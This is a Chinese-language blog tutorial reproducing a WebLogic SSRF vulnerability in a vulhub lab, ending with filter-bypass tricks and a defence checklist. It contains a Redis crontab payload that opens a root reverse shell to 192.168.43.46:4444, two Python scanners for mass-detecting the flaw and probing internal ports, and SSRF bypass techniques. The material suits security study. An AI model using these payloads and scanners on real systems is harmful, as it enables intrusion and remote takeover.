目录
前言
SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。
SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)
漏洞环境搭建
这里我们选择使用vulhub搭建docker进行漏洞复现。
首先安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功
然后安装python和pip环境(如果没有),命令如下
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功
然后再安装docker-compose
pip install docker-compose
docker-compose -v
到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上
git clone https://github.com/vulhub/vulhub.git
之后进入SSRF的漏洞环境
漏洞复现
访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。
访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
出现以下页面,说明测试环境ok。
访问以下页面,确认是否存在SSRF漏洞。
http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.43.46
其中,最后的operator参数为内网ip,若存在此报错: weblogic.uddi.client.structures.exception.XML_SoapException,说明存在SSRF漏洞。
漏洞利用
探测内网存活IP
说明这个内网IP存在。
这样说明IP不存在。
探测端口
此报错说明该端口存在。
同理反之则证明该端口不存在。
攻击Redis
172.18.0.2是Redis的内网IP地址。
探测到内网redis服务开放。
准备攻击代码
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.43.46/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
将上述攻击代码转换成URL编码:
test0D%0A%0D%0A
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%220D%0Aconfig%20set%20dir%20%2Fetc%2F0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
开启监听端口:
访问:
http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
具体流程是
批量检测脚本
批量检测weblogic_SSRF漏洞
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 功能:批量探测weblogic SSRF漏洞
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Weblogic_SSRF_Check(threading.Thread):
"""docstring for Weblogic_SSRF_Check"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf.\n" % domain)
mutex.release()
except Exception,e:
pass
def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
if m:
return m.group(1)
except Exception,e:
pass
def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)
self.queue.task_done()
if __name__ == '__main__':
with open('C:\\Users\\m\\domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())
for x in xrange(1,50):
t = Weblogic_SSRF_Check(queue)
t.setDaemon(True)
t.start()
queue.join()
利用weblogic_SSRF探测IP及端口
–url参数:存在weblogic SSRF漏洞的url
–ip参数:想扫描的内网网段
#!/usr/bin/env python
# coding: utf-8
# 功能:扫描内网开放ip及端口
import argparse
import thread
import time
import re
import requests
def ite_ip(ip):
#for i in range(1, 256):
for i in range(139, 146):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)
def scan(final_ip):
#ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000')
ports = ( '80', '445','22','6379')
for port in ports:
vul_url = args.url + '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip, port)
try:
r = requests.get(vul_url, timeout=15, verify=False)
result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
result1 = re.findall('route to host', r.content)
result2 = re.findall('but could not connect', r.content)
if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
out = "port exist: " + final_ip + ':' + port
print out
except Exception, e:
pass
def get_ip():
vul_url = args.url + '/uddiexplorer/SetupUDDIExplorer.jsp'
r = requests.get(vul_url, timeout=15, verify=False)
reg = re.compile(r"For example: http://\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\ b")
result1 = reg.findall(r.content)
result = ""
if result1:
result = result1[0].replace("For example: http://","")
return result
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit')
parser.add_argument('--url', dest='url', required=True, help='Target url')
parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
args = parser.parse_args()
ip = '.'.join(args.scan_ip.split('.')[:-1])
#print ip
#ip = get_ip()
if ip:
ite_ip(ip)
else:
print "no ip"
SSRF漏洞绕过
更改IP地址写法
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172.([1][6-9]|[2]\d|3[01])(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192.168(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
8进制格式:0300.0250.0.1
16进制格式:0xC0.0xA8.0.1
10进制整数格式:3232235521
16进制整数格式:0xC0A80001
合并后两位:1.1.278 / 1.1.755
合并后三位:1.278 / 1.755 / 3.14159267
另外IP中的每一位,各个进制可以混用。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
使用解析到内网的域名
如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。
另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,
例如192.168.0.1.xip.io,解析到192.168.0.1。
如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1,那么可以用以下特殊网址绕过:xip.io,nip.io,sslip.io。
比如:`http://127.0.0.1.xip.io/1.php ,实际上访问的是http://127.0.0.1/1.php
可以使用xip.io或者是xip.name 进行302跳转
利用DNS解析
如果目标对域名或者IP进行了限制,那么可以使用dns服务器将自己的域名解析到内网ip
利用IPv6
有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。
利用IDN
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 和 example.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。
添加端口号
有些网站限制了子网段,可以加 :80 端口绕过。
http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.42.7.78:80
伪协议
php ssrf中的伪协议:
file;dict;sftp;ldap;tftp;gopher;http
Java ssrf 中的伪协议:
file;ftp;mailto;http;https;jar;netdoc;gopher
SSRF漏洞防御
1.禁止跳转。
2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.限制请求的端口只能为Web端口,不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题。
4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。
5.限制请求的端口为http常用的端口,比如 80、443、8080、8090。
6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
7.对DNS Rebinding,考虑使用DNS缓存或者Host白名单。